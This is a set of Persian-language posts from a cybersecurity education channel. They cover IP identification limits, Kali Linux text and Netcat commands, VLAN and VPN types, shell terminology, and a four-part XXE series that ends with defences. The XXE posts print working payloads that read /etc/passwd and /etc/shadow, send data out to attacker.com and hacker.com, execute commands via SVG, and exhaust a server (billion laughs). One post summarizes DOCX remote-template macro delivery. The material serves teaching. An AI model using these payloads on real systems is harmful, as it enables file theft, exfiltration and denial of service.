🚀 پارت 2 (A)
شناسایی کاربران با آدرس IP
یکی از ساده‌ترین و قدیمی‌ترین روش‌ها برای شناسایی کاربران در وب، استفاده از آدرس IP کلاینت است. زمانی طراحان اولیه وب تصور می‌کردند که IP می‌تواند نشان‌دهنده هویت یک کاربر باشد؛ چون فرض بر این بود که هر کاربر یک IP منحصر‌به‌فرد دارد.

اما در دنیای واقعی، این فرض بسیار ناپایدار و پرایراد است. چرا؟

⚠️ محدودیت‌های جدی در استفاده از IP برای شناسایی کاربران:

1️⃣ اشتراک‌گذاری IP توسط چند کاربر
اگر چند کاربر از یک کامپیوتر یا شبکه (مثلاً کافی‌نت یا دانشگاه) استفاده کنند، همگی از یک آدرس IP بیرونی دیده می‌شوند. بنابراین شما کاربر را نمی‌شناسید، بلکه فقط دستگاه یا شبکه‌ را تشخیص می‌دهید.

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Cookies #CyberSecurity

🚀 پارت 2 (B)
شناسایی کاربران با آدرس IP

2️⃣ تخصیص پویا (Dynamic IP)

اکثر سرویس‌دهنده‌های اینترنت (ISP) به کاربران خود هر بار که به اینترنت متصل می‌شوند، یک IP جدید اختصاص می‌دهند. بنابراین:

* امروز یک کاربر با IP A متصل می‌شود،
* فردا همان کاربر با IP B.

🔁 این یعنی IP نمی‌تواند به‌تنهایی برای شناسایی کاربران در جلسات مختلف قابل اعتماد باشد.

3️⃣ استفاده از NAT (ترجمه آدرس شبکه)

در بسیاری از شبکه‌های خانگی یا سازمانی، ده‌ها دستگاه از طریق یک مودم و با استفاده از تکنولوژی NAT به اینترنت متصل می‌شوند. در نتیجه:

* همه دستگاه‌ها از نظر بیرونی یک IP مشترک دارند،
* اما در پشت صحنه، IP داخلی آن‌ها متفاوت است مانند زیر
192.168.x.x

📌 از دید سرور، همه آن کاربران یکی دیده می‌شوند!

4️⃣ پنهان‌سازی IP با پروکسی یا گیت‌وی

بسیاری از کاربران از پروکسی‌ها، گیت‌وی‌ها یا VPN استفاده می‌کنند که ارتباط را از طرف آن‌ها ارسال می‌کند. در این حالت، سرور فقط آدرس IP واسطه را می‌بیند نه آدرس واقعی کلاینت را.

✅ برخی پراکسی‌ها برای شفاف‌سازی، هدرهایی مثل:

X-Forwarded-For
Client-IP

اضافه می‌کنند که ممکن است آدرس IP واقعی کاربر را نشان دهند. ولی این هدرها به راحتی قابل جعل (Spoof) هستند و قابل اعتماد صددرصدی نیستند.

💡 آیا هنوز از IP در امنیت استفاده می‌شود؟

بله! با وجود تمام محدودیت‌ها، بسیاری از وب‌سایت‌ها هنوز از IP برای:

* بررسی ناهنجاری‌ها (مثلاً تغییر ناگهانی IP در نشست)
* اعمال محدودیت‌های جغرافیایی (Geo-blocking)
* کنترل دسترسی‌های خاص در اینترانت‌ها

استفاده می‌کنند. اما باید توجه داشت که IP باید فقط بخشی از یک مکانیزم ترکیبی شناسایی باشد، نه ابزار اصلی.

📌 جمع‌بندی:
آدرس IP به‌تنهایی برای شناسایی دقیق کاربر کافی نیست، و اگرچه در بعضی کاربردها مفید است، اما در شبکه‌های مدرن، استفاده صرف از آن یک نقطه ضعف امنیتی و شناختی خواهد بود.

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Cookies #CyberSecurity

آشنایی با کالی لینوکس: قسمت دهم: کار با متن و ابزارهای متنی،مدیریت فرآیندها، مانیتورینگ و Netcat

جستجو و دستکاری متن (Text Searching and Manipulation)
grep:
برای جستجوی عبارت‌های منظم در فایل‌های متنی و نمایش خطوط مطابق با الگو  
- آپشن‌های رایج:
  - -r: جستجوی بازگشتی
  - -i: نادیده گرفتن حروف کوچک و بزرگ  

- مثال:

grep "href=" index.html

🔸 grep:
جستجوی کلمه یا الگو در فایل. در اینجا به دنبال رشته "href=" در فایل index.html می‌گردد.

- مثال پیشرفته:

grep -o '[^/]*\.megacorpone\.com' index.html | sort -u > list.txt

🔸 -o: فقط خود متن مطابق را چاپ می‌کند.  
🔸 [ ^/ ]*: هر چیزی قبل از / را می‌گیرد.  
🔸 sort -u: مرتب‌سازی و حذف تکراری‌ها.  
🔸 >: خروجی را داخل فایل list.txt ذخیره می‌کند.

sed:
ویرایشگر جریان (stream editor) قدرتمند برای دستکاری متن  
- مثال:

echo "I need to try hard" | sed 's/hard/harder/'

🔸 sed 's/hard/harder/':
کلمه "hard" را با "harder" در رشته جایگزین می‌کند.


cut:
برای استخراج فیلدهایی از یک خط متن  
- گزینه‌های رایج:
  - -f: شماره فیلد
  - -d: جداکننده فیلد  
- مثال:

echo "I hack binaries,web apps,mobile apps, and just about anything else" | cut -f 2 -d ","

🔸 -d ",": جداکننده فیلدها را کاما قرار می‌دهد.  
🔸 -f 2: فیلد دوم یعنی "web apps" را جدا می‌کند.


awk:
زبان برنامه‌نویسی خط فرمان برای پردازش متن، انعطاف‌پذیرتر از cut  
- مثال:

echo "hello::there::friend" | awk -F "::" '{print $1, $3}'

🔸 -F "::": جداکننده فیلدها را :: قرار می‌دهد.  
🔸 {print $1, $3}: فیلدهای اول و سوم را چاپ می‌کند.

✍️ ویرایش فایل‌ها از خط فرمان
nano:
ویرایشگر متنی ساده.  

nano filename.txt

🔸 باز کردن فایل برای ویرایش در محیط nano.


vi:
ویرایشگر پیشرفته با حالت‌های مختلف و قابلیت‌های بیشتر.  

vi filename.txt

🔸 باز کردن فایل در محیط vi.

---
🧾 مقایسه فایل‌ها
comm:
مقایسه خط به خط دو فایل مرتب‌شده.  

comm file1.txt file2.txt

🔸 ستون‌های مقایسه: فقط در اولی، فقط در دومی، در هر دو.

comm -12 file1.txt file2.txt

🔸 -12: فقط نمایش خطوط مشترک.
diff:
نمایش تفاوت‌ها بین دو فایل.  

diff -u file1 file2

🔸 -u: فرمت یکنواخت (unified) برای نمایش تفاوت‌ها.


vimdiff:
نمایش گرافیکی تفاوت فایل‌ها در محیط vim.  

vimdiff file1 file2

---
⚙️ مدیریت فرآیندها
اجرا در پس‌زمینه:

command &

🔸 اجرای دستور در پس‌زمینه.

تعلیق با Ctrl+Z:
🔸 متوقف کردن موقت اجرای برنامه.
bg:

bg

🔸 ادامه اجرای فرآیند متوقف‌شده در پس‌زمینه.

jobs:

jobs

🔸 نمایش لیست فرآیندهای در حال اجرا یا متوقف در ترمینال.

fg:

fg %1

🔸 بازگرداندن job شماره 1 به پیش‌زمینه.

ps:

ps aux

🔸 نمایش لیست تمام فرآیندها با اطلاعات کامل.

Ctrl+C:
🔸 توقف اجرای فرآیند جاری.


🖥 ابزارهای مانیتورینگ
tail:

sudo tail -f -n 10 /var/log/syslog

🔸 -f: نمایش زنده.  
🔸 -n 10: نمایش ۱۰ خط آخر.


watch:

watch -n 5 w

🔸 -n 5: اجرای دستور w هر ۵ ثانیه برای نمایش کاربران فعال.

---
📤 انتقال فایل‌ها
wget:

wget https://example.com/file.pdf

🔸 دانلود فایل از URL مشخص.

curl:

curl -o file.pdf https://example.com/file.pdf

🔸 -o: ذخیره فایل با نام مشخص.


axel:

axel -a -n 10 -o file.pdf https://example.com/file.pdf

🔸 -a: نمایش پیشرفت  
🔸 -n: تعداد اتصالات  
🔸 -o: تعیین نام خروجی

---
⚙️ محیط Bash
HISTIGNORE:

export HISTIGNORE="ls:exit"

🔸 نادیده گرفتن دستورهای خاص از history.

HISTTIMEFORMAT:

export HISTTIMEFORMAT='%F %T '

🔸 نمایش تاریخ/زمان در خروجی history.

alias:

alias ll='ls -la'

🔸 تعریف میانبر برای دستورات.  
🔸 برای دائمی شدن به .bashrc اضافه شود.

---
🕵️ Netcat و socat
اتصال به پورت:

nc -nv 10.0.0.1 80

🔸 -n: عدم استفاده از DNS  
🔸 -v: نمایش جزئیات اتصال

شنود پورت:

sudo nc -lvp 443

🔸 -l: حالت شنونده  
🔸 -v: حالت verbose  
🔸 -p: شماره پورت

socat:

sudo socat TCP4-LISTEN:443 STDOUT

🔸 شنود بر روی TCP و ارسال داده به خروجی.

✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity

🖥انواع VLAN

1️⃣ Default VLAN – پورتی که به‌صورت پیش‌فرض تمام پورت‌ها در آن قرار می‌گیرند.
2️⃣ Data VLAN (User VLAN) – ترافیک کاربران نهایی مانند رایانه‌های شخصی و لپ‌تاپ‌ها را مدیریت می‌کند.
3️⃣ Voice VLAN – ترافیک VoIP را اولویت‌دهی می‌کند تا مکالمات با وضوح بالا انجام شوند.
4️⃣ Management VLAN – ترافیک مدیریتی دستگاه‌های شبکه را جدا می‌کند.
5️⃣ Native VLAN – ترافیک بدون تگ (untagged) در لینک‌های ترانک را مدیریت می‌کند.
6️⃣ Trunk VLAN – چندین VLAN را بین دستگاه‌های شبکه منتقل می‌کند.
7️⃣ Private VLAN (PVLAN) – امنیت را در محیط‌های اشتراکی مانند دیتاسنترها افزایش می‌دهد.
8️⃣ Static VLAN – به‌صورت دستی تنظیم می‌شود و کنترل دقیقی ارائه می‌دهد.
9️⃣ Dynamic VLAN – به‌صورت خودکار با استفاده از آدرس‌های MAC، VLANها را اختصاص می‌دهد.

✍️نویسنده
@TryHackBox | The Chaos

#VLAN #Network #CyberSecurity

📢 انواع VLAN و کاربردهای امنیتی آنها 🛡

🔹 1. Default VLAN
- کاربرد: همه پورت‌ها به‌صورت پیش‌فرض در این VLAN قرار می‌گیرند.
- امنیت: تغییر آن از VLAN 1 برای جلوگیری از حملات ساده ضروری است.

🔹 2. Data VLAN (User VLAN)
- کاربرد: انتقال ترافیک عادی کاربران (مثل PC و لپ‌تاپ).
- امنیت: جداسازی ترافیک داده از مدیریت و صدا برای کاهش خطرات.

🔹 3. Voice VLAN
- کاربرد: اولویت‌دهی به ترافیک VoIP برای مکالمات با کیفیت.
- امنیت: QoS (کیفیت سرویس) برای جلوگیری از اختلال در تماس‌ها.

🔹 4. Management VLAN
- کاربرد: مدیریت تجهیزات شبکه (مانند سوئیچ و روتر).
- امنیت: محدود کردن دسترسی با ACL و فایروال برای جلوگیری از نفوذ.

🔹 5. Native VLAN
- کاربرد: حمل ترافیک بدون تگ (Untagged) در لینک‌های ترانک.
- امنیت: تغییر از VLAN 1 و غیرفعال کردن DTP برای جلوگیری از VLAN Hopping.

🔹 6. Trunk VLAN
- کاربرد: انتقال چندین VLAN بین سوئیچ‌ها و روترها.
- امنیت: فیلتر کردن VLANهای غیرضروری و استفاده از VLAN اختصاصی برای ترانک.

🔹 7. Private VLAN (PVLAN)
- کاربرد: افزایش امنیت در محیط‌های اشتراکی (مثل هاستینگ).
- امنیت: جداسازی میزبان‌ها از یکدیگر حتی در یک VLAN.

🔹 8. Static VLAN
- کاربرد: تنظیم دستی پورت‌ها برای VLANهای مشخص.
- امنیت: کنترل دقیق دسترسی و کاهش خطر جابجایی غیرمجاز دستگاه‌ها.

🔹 9. Dynamic VLAN
- کاربرد: اختصاص خودکار VLAN بر اساس MAC Address.
- امنیت: نیاز به احراز هویت (مانند 802.1X) برای جلوگیری از سوءاستفاده.

🔐 نکته امنیتی:
- همیشه VLAN 1 را غیرفعال کنید.
- از VLANهای جدا برای مدیریت، داده و صدا استفاده کنید.
- ترافیک ترانک را با فیلترینگ محدود کنید.

✍️نویسنده
@TryHackBox | The Chaos

#NetworkSecurity #VLAN #Cybersecurity #Networking

🔖 پارت اول دامپ های حافظه LSASS از همیشه مخفیانه تر هستند.

💢 فایل های Dump Memory LSASS چیستند و مهاجمان چگونه از آن ها استفاده می کنند؟

💢 روش های شناخته شده برای Dump کردن LSASS

💢 ابزار Dump کاستومایز : نحوه انجام یک Dump LSASS دستی

@TryHackBox | Github | YouTube | Group

فصل اول: بخش صفرم: بعضی از اصطلاحات مهم و کاربردی به صورت خلاصه
———————————————————————————————
🔹 Shell

در دنیای هک و مدیریت سیستم، وقتی میگیم "شل" منظورمون یک رابط خط فرمان (Command Line) روی یک سیستم است که به ما اجازه می‌دهد دستورات رو اجرا کنیم.

Local Shell → شلی که روی سیستم خودت داری.
Remote Shell → شلی که روی یک سیستم از راه دور داری.

———————————————————————————————
🔹 Bind Shell

در Bind Shell، سیستم هدف یک پورت رو باز می‌کنه و منتظر می‌مونه تا ما بهش وصل بشیم.

مزیت: ساده و مستقیم.
عیب: نیاز داره پورت روی هدف باز باشه و فایروال اجازه بده.

📌 مثال ساده:
هدف روی پورت 4444 یک bash یا cmd اجرا می‌کنه، ما به اون پورت وصل میشیم و شل می‌گیریم.

———————————————————————————————
🔹 Reverse Shell

در Reverse Shell، برعکس Bind Shell، سیستم هدف به ما وصل میشه.

* **مزیت: معمولا راحت‌تر عبور می‌کنه چون فایروال‌ها خروجی رو کمتر محدود می‌کنند.
* عیب: نیاز داریم ما یک listener داشته باشیم که منتظر اتصال باشه.

📌 مثال:
ما روی سیستم خودمون پورت 4444 رو باز می‌کنیم، هدف به اون وصل میشه و یک شل به ما میده.

———————————————————————————————
🔹 Listener Mode

Listener یعنی برنامه‌ای که روی یک پورت گوش میده و منتظر اتصال می‌مونه.

* تو Netcat و Socat، این حالت با گزینه‌هایی مثل -l یا LISTEN: فعال میشه.
* استفاده در Bind Shell، Reverse Shell، دریافت فایل و…

———————————————————————————————
🔹 Client Mode

در Client Mode ما به یک آدرس و پورت وصل میشیم تا داده دریافت یا ارسال کنیم.

* مثال: وقتی با Netcat یا Socat میریم به IP:PORT، ما کلاینت هستیم.

———————————————————————————————
🔹 Port Forwarding

پورت فورواردینگ یعنی هدایت ترافیک یک پورت (یا آدرس) به پورت (یا آدرس) دیگه.

* کاربرد: دسترسی به سرویس‌هایی که مستقیم بهشون دسترسی نداریم.
* مثال: ارسال ترافیک پورت 8080 سیستم ما به پورت 80 یک سرور دیگه.

———————————————————————————————
🔹 Tunneling

تونل‌سازی یعنی انتقال داده از یک پروتکل یا مسیر به یک مسیر امن یا متفاوت.

* میتونه SSH Tunnel باشه، VPN، یا حتی Socat که UDP رو به TCP تبدیل میکنه.
* کاربرد: عبور از محدودیت‌های شبکه، رمزگذاری ترافیک، مخفی‌کردن مسیر ارتباط.

———————————————————————————————
🔹 Port Scanning

اسکن پورت یعنی بررسی لیستی از پورت‌ها برای فهمیدن اینکه باز هستن یا بسته.

* با Netcat، Nmap یا ابزارهای مشابه انجام میشه.
* برای تست امنیت و پیدا کردن سرویس‌ها.

———————————————————————————————
🔹 TCP vs UDP

TCP:
ارتباط مطمئن و دارای چک‌کردن ارسال و دریافت (مانند HTTP, FTP).
UDP:
سریع‌تر ولی بدون تضمین تحویل (مانند DNS, VoIP).

———————————————————————————————
🔹 SSL/TLS

پروتکل‌هایی هستند که ارتباط رو رمزگذاری می‌کنند تا داده‌ها وسط راه قابل خواندن نباشند.

* کاربرد: HTTPS، ایمیل امن، شل امن (Bind یا Reverse).
* در Socat و OpenSSL برای ساخت شل یا تونل امن استفاده میشه.


✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity

📌 حملات XXE (تزریق XML) - بخش اول

🔹حمله XXE چیست؟
حملۀ XXE (XML External Entity Injection) یک آسیب‌پذیری امنیتی در پردازش داده‌های XML است که به مهاجم اجازه می‌دهد به فایل‌های سیستم سرور دسترسی پیدا کند یا با سیستم‌های backend تعامل داشته باشد. در برخی موارد، این آسیب‌پذیری می‌تواند منجر به حمله‌های جعل درخواست سمت سرور (SSRF) یا حتی اختلال در سرویس (DoS) شود.

🔹 انواع حملات XXE
1. استخراج فایل‌ها (مثلاً خواندن /etc/passwd)
2. حملات SSRF (ارسال درخواست به سیستم‌های داخلی)
3. انتقال داده‌ها به صورت خارج از باند (OOB)
4. استخراج داده از طریق پیام‌های خطا

🔹 مثال ساده از XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

در این مثال، مهاجم محتوای فایل /etc/passwd را می‌خواند.

ادامه در بخش بعدی...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #SSRF #CyberSecurity

📌 حملات XXE (تزریق XML) - بخش دوم

🔹 حملات پیشرفته XXE

1. حملات Blind XXE (انتقال داده به صورت خارج از باند)
در برخی موارد، برنامه پاسخ مستقیمی نشان نمی‌دهد، اما مهاجم می‌تواند داده‌ها را به یک سرور تحت کنترل خود منتقل کند.

مثال:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY blind SYSTEM "http://attacker.com/?%xxe;">
]>
<foo>&blind;</foo>

در این حالت، محتوای /etc/passwd به سرور مهاجم ارسال می‌شود.

2. دور زدن کنترل‌های دسترسی (PHP Example)
با استفاده از فیلترهای PHP، می‌توان فایل‌های محدودشده را خواند:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/shadow">
]>
<foo>&ac;</foo>

(در این مثال، فایل /etc/shadow به صورت base64 کدگذاری و خوانده می‌شود.)

3. حملات DoS با XXE
بعضی از payloadهای XXE می‌توانند باعث مصرف بیش از حد منابع سرور شوند:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  ...
]>
<lolz>&lol9;</lolz>

این حمله باعث ایجاد حجم زیادی از داده‌های تکراری و crash سرور می‌شود.

ادامه در بخش سوم...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #BlindAttack #CyberSecurity

https://github.com/TryHackBox/Books/tree/main/Persian%20eLearnSecurity/eJPT

کتاب Penetration Testing از موسسه eLearnSecurity به زبان پارسی .

تیم TryHackBox بخش هایی از کتابهای دوره eJPT از موسسه eLearnSecurity را ترجمه کرده است. خوشحال میشویم اگر با دادن ستاره ⭐️ در گیت هاب از تلاش ما حمایت کنید تا بتوانیم ترجمه ی کتاب های بیشتری از این موسسه و سایر موسسات معتبر را به صورت رایگان در اختیار شما قرار دهیم. همراهی شما انگیزهی ما برای ارائه محتوای ارزشمندتر است!

#eLearnSecurity
@TryHackBox

📌 حملات XXE (تزریق XML) - بخش سوم 

🔹 حملات پیشرفته XXE (ادامه) 

4. استفاده از XXE در فایل‌های SVG (حملات از طریق تصاویر) 
فایل‌های SVG مبتنی بر XML هستند و می‌توانند حاوی payloadهای XXE باشند: 

<noscript xmlns="http://www.w3.org/2000/noscript" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="200">
    <image xlink:href="expect://id"></image>
</noscript>

اگر سایتی آپلود SVG را بدون فیلتر کردن اجازه دهد، این payload می‌تواند دستورات سیستم را اجرا کند. 

5. استفاده از XXE در پروتکل SOAP (سرویس‌های وب) 
در APIهای SOAP-based نیز می‌توان از XXE سوءاستفاده کرد: 

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker.com/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

این payload درخواستی به سرور مهاجم ارسال می‌کند. 

6. استفاده از کدگذاری UTF-7 برای دور زدن فیلترها 
بعضی سیستم‌ها فقط UTF-8 را پردازش می‌کنند، اما با UTF-7 می‌توان برخی فیلترها را دور زد: 

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hacker.com/+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

🔹 جمع‌بندی بخش سوم 
- درون SVGها می‌توانند حاوی XXE باشند. 
-حتی APIهای SOAP نیز در معرض خطرند. 
- با تغییر کدگذاری (مثل UTF-7) می‌توان برخی فیلترها را دور زد. 

ادامه در بخش چهارم (پیشگیری و دفاع)...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #SVG #Payload #CyberSecurity

🔖 مقاله اجرای ماکروها از یک فایل DOCX با تزریق قالب از راه دور (Template Injection)

در این مطلب میخواهم درباره یک روش اجرای کد صحبت کنم و آن را نشان دهم که مدتی پیش به من معرفی شد. این روش اجازه میدهد یک فایل DOCX ساخته شود که هنگام باز شدن، به کاربر امکان اجرا کردن ماکروها از طریق یک فایل قالب DOTM راه دور را میدهد. این حمله در دنیای واقعی مشاهده شده، بخشی از ابزارهای امنیت تهاجمی متن باز است و توسط Cisco Talos هم درباره اش بلاگ نوشته شده، اما در آن بلاگ و ابزار متن باز، این حمله معمولا به عنوان سرقت اطلاعات احراز هویت به ویژه از طریق پروتکل SMB دیده شده است. این مطلب توضیح میدهد چطور میتوان با این روش، قالب ماکرو دار را به صورت آگاه به پروکسی و از طریق HTTP(S) دانلود کرد و داخل فایل DOCX استفاده نمود.

@TryHackBox

#سوال : در هدر IPv4، فیلد TTL چیکار میکنه و چرا در تست نفوذ مهمه ؟

⭕️ قسمت پنجم زیرو تاک

🔶 مهندس میلاد کهساری  - با محوریت مهندسی معکوس

🔶 شب اول

💢 بخش اول - مسیر شخصی
💢 بخش دوم - مهندسی معکوس، کشف آسیب‌پذیری و توسعه اکسپلویت

منتظر جلسه بعدی باشید.

🎤 راهبر گفتگوی امنیتی : حسین نائیجی

🆔 @RadioZeroPod
🆔 @TryHackBox

📌 حملات XXE (تزریق XML) - بخش چهارم (پایانی) 

🔹 روش‌های پیشگیری و دفاع در برابر XXE 

1. غیرفعال کردن پردازش موجودیت‌های خارجی (External Entities) 
در اکثر پردازشگرهای XML (مثل PHP, Java, .NET)، می‌توان این ویژگی را غیرفعال کرد: 

مثال در PHP: 

libxml_disable_entity_loader(true);

مثال در Python (lxml): 

parser = etree.XMLParser(resolve_entities=False)

2. استفاده از Whitelisting برای ورودی‌های XML 
- فقط اجازه‌دهید المان‌ها و attributeهای مورد اعتماد پردازش شوند. 
- از اسکیماهای معتبر (XSD) برای اعتبارسنجی ساختار XML استفاده کنید. 

3. فیلتر کردن محتوای خطرناک 
- بلوک کردن <!DOCTYPE و <!ENTITY در ورودی کاربر. 
- مسدود کردن پروتکل‌های خطرناک مثل file://, php://, expect://. 

4. به‌روزرسانی کتابخانه‌های پردازش XML 
بسیاری از آسیب‌پذیری‌های XXE در نسخه‌های قدیمی کتابخانه‌ها (مثل libxml2) وجود دارند. 

5. استفاده از فرمت‌های جایگزین (JSON به جای XML) 
در بسیاری از موارد، استفاده از JSON به جای XML می‌تواند خطر XXE را حذف کند. 

🔹 نتیجه‌گیری 
حملات XXE می‌توانند منجر به خواندن فایل‌های حساس، حملات SSRF و حتی اختلال در سرویس (DoS) شوند. با غیرفعال کردن موجودیت‌های خارجی و اعتبارسنجی دقیق ورودی‌ها، می‌توان از این حملات جلوگیری کرد. 

✅ امن‌تر کدنویسی کنید! ✅ 

✍️نویسنده
@TryHackBox | The Chaos

#XXE #Prevention #CyberSecurity

🔐 راهکارهای امن VPN و کاربردهای آنها

☁️ Cloud VPN
کاربران را به منابع مبتنی بر فضای ابری متصل می‌کند.
🔒 IPsec VPN
ارتباطات IP را از طریق تونل‌های امن رمزگذاری می‌کند.
🌐 SSL VPN
دسترسی امن به شبکه را از طریق مرورگر فراهم می‌کند.
💻 Client-Based VPN
برای دسترسی از راه دور، نیاز به نصب نرم‌افزار دارد.
🏢 Site-to-Site VPN
شبکه‌های مختلف را برای ارتباط ایمن به هم متصل می‌کند.
🏠 Remote Access VPN
کاربران را به شبکه‌های خصوصی متصل می‌کند.

💡 نکته کلیدی:
انتخاب نوع مناسب VPN (برای دورکاری، اتصال شعب یا یکپارچه‌سازی با ابر) می‌تواند استراتژی امنیتی شما را متحول کند!

✍️نویسنده
@TryHackBox | The Chaos

#NetworkSecurity #VPN #Cybersecurity #Networking

🔐 راهکارهای VPN و نکات کلیدی امنیتی

☁️ Cloud VPN

کاربرد: اتصال ایمن به سرویس‌های ابری مانند AWS یا Azure

امنیت: استفاده از احراز هویت دو مرحله‌ای و رمزنگاری قوی برای محافظت از داده‌های حساس

🔒 IPsec VPN

کاربرد: ایجاد تونل امن بین دستگاه‌های ثابت (ادارات/شعب)

امنیت: پیاده‌سازی IKEv2 با رمزنگاری AES-256 برای جلوگیری از استراق سمع

🌐 SSL VPN

کاربرد: دسترسی امن از طریق مرورگر بدون نیاز به نصب کلاینت

امنیت: فعالسازی احراز هویت چندعاملی و محدود کردن دسترسی بر اساس نقش کاربران

💻 Client-Based VPN

کاربرد: اتصال ایمن کارمندان دورکار به شبکه سازمان

امنیت: نصب آنتی‌ویرس روی کلاینت‌ها و استفاده از قابلیت Kill Switch

🏢 Site-to-Site VPN

کاربرد: ارتباط امن بین دفاتر مختلف یک سازمان

امنیت: مانیتورینگ مداوم ترافیک و استفاده از فایروال بین شبکه‌ها

🏠 Remote Access VPN

کاربرد: دسترسی کارمندان به منابع داخلی از راه دور

امنیت: محدود کردن دسترسی با Zero Trust و زمان‌بندی Sessionها

🔰 نکات طلایی امنیتی:
✅ همیشه از پروتکل‌های به‌روز (مانند WireGuard) استفاده کنید
✅ دسترسی VPN را فقط به IPهای مورد اعتماد محدود نمایید
✅ لاگ‌های اتصالات را به صورت مداوم بررسی کنید

✍️نویسنده
@TryHackBox | The Chaos

#NetworkSecurity #VPN #Cybersecurity #Networking

https://github.com/TryHackBox/Kaveh-WebDiff-Monitor
توضیحات ابزار :

این ابزار یک مانیتورینگ تغییرات و وضعیت HTTP است که برای بررسی سلامت سرویس‌های وب، مانیتورینگ Virtual Hostها و شناسایی تغییرات محتوا استفاده می‌شود.
با استفاده از این اسکریپت می‌توانید چندین IP/Port/Schema/Vhost را به صورت دوره‌ای بررسی کنید و در صورت تغییر وضعیت پاسخ یا تغییر در محتوای صفحه، هشدار دریافت کنید.

ویژگی‌ها

نظارت زمان‌بندی‌شده: اجرای خودکار در بازه‌های زمانی مشخص.

پشتیبانی از HTTP و HTTPS با امکان نادیده گرفتن خطاهای SSL.

Virtual Host Routing:
اتصال مستقیم به IP با هدر Host سفارشی (مناسب برای تست دامنه‌های روی یک سرور).

بررسی تغییر محتوا بر اساس تعداد کلمات و کد وضعیت HTTP.

ذخیره‌سازی وضعیت‌ها در فایل /tmp/http_mon.log برای مقایسه.

قابل استفاده در تست نفوذ برای شناسایی تغییرات، از کار افتادن سرویس یا تغییرات مشکوک.

نحوه اجرا در لینوکس

1. اسکریپت را کلون یا دانلود کنید:

   git clone https://github.com/TryHackBox/Kaveh-WebDiff-Monitor.git
   cd Kaveh-WebDiff-Monitor
   chmod +x Kaveh-Webdiff-Monitor.sh

2. یک فایل متنی شامل لیست اهداف ایجاد کنید (هر خط شامل IP، پورت، پروتکل و vhost):  
   192.168.1.10 443 https example.com
   10.0.0.5 80 http test.local
  

3. اجرای اسکریپت:

   ./Kaveh-Webdiff-Monitor.sh targets.txt

  
4. خروجی نمونه:
   Fri Aug 15 23:45:05 UTC 2025
   [*] 192.168.1.10 443 example.com: 200 157
   [*] 10.0.0.5 80 test.local: 404 12
   [!] تغییر وضعیت برای example.com
  
کاربرد در تست نفوذ

در فرایند تست نفوذ، این ابزار می‌تواند نقش مهمی داشته باشد:

شناسایی تغییرات در محتوای وب در زمان انجام حملات (مثلاً تغییر پیام خطا بعد از تزریق).

نظارت مداوم Virtual Hostها برای پیدا کردن دامنه‌های در حال توسعه یا فعال شدن سرویس‌های مخفی.

ردیابی پاسخ سرور بعد از تست‌های سنگین (مانند تست فشار یا ارسال حجم بالای درخواست ها).

شناسایی قطع سرویس یا تغییر پیکربندی در زمان حملات Man-in-the-Middle یا Bypass WAF.

کمک به فاز Post-Exploitation برای تشخیص تغییرات ایجادشده توسط شما یا تیم قرمز روی سیستم تارگت.

نکات

مسیر /tmp/http_mon.log در هر بار بوت ریست می‌شود؛ در صورت نیاز می‌توانید آن را به مسیر دائمی تغییر دهید.

برای استفاده در شبکه‌های بزرگ یا اسکن همزمان چند صد تارگت، پیشنهاد می‌شود بازه زمانی (INTERVAL) را متناسب افزایش دهید تا فشار روی سیستم تارگت کم شود.

این ابزار نیاز به curl و محیط Bash دارد.

اگر این ابزار براتون مفید بود استارز یادتون نشه

@TryHackBox

زیرو دی (Zero-Day) چیست؟ 
آسیب‌پذیری 0Day به یک نقص امنیتی در نرم‌افزار یا سخت‌افزار گفته می‌ شود که برای فروشنده (تولیدکننده) ناشناخته است و هیچ وصله‌ای (پچ) برای رفع آن وجود ندارد. عبارت "0Day" به این معنی است که فروشنده هیچ فرصتی (0Day) برای پاسخگویی و رفع آسیب‌پذیری قبل از  exploited مهاجمان ندارد. به روشی که از این آسیب‌پذیری اکپسلویت می‌کند، اکسپلویت زیرو دی (Zero-Day Exploit) می‌گویند.

۱. آسیب‌پذیری زیرو دی (Zero-Day Vulnerability) 
- یک نقص در نرم‌افزار یا سخت‌افزار است که فروشنده از آن بی‌خبر است. 
- این نقص می‌تواند ناشی از خطای کدنویسی، ضعف طراحی، یا پیکربندی نادرست باشد. 
- از آنجا که فروشنده از وجود این آسیب‌پذیری اطلاعی ندارد، هیچ راه‌حل یا پچی برای آن ارائه نشده است. 

۲. اکسپلویت زیرو دی (Zero-Day Exploit) 
- روشی است که مهاجمان برای سوءاستفاده از آسیب‌پذیری 0Day استفاده می‌کنند. 
- شامل کدهای مخرب یا اقداماتی است که از این نقص برای دسترسی غیرمجاز یا آسیب رساندن به سیستم استفاده می‌کند. 

۳. حمله زیرو دی (Zero-Day Attack) 
- حمله‌ای است که با exploiting از آسیب‌پذیری 0Day انجام می‌شود. 
- این حمله قبل از اینکه فروشنده متوجه آسیب‌پذیری شود یا پچی منتشر کند، رخ می‌دهد. 

۴. چرا حملات 0Day خطرناک هستند؟ 
- هیچ دفاع یا راه‌ حل فوری برای مقابله با آنها وجود ندارد. 
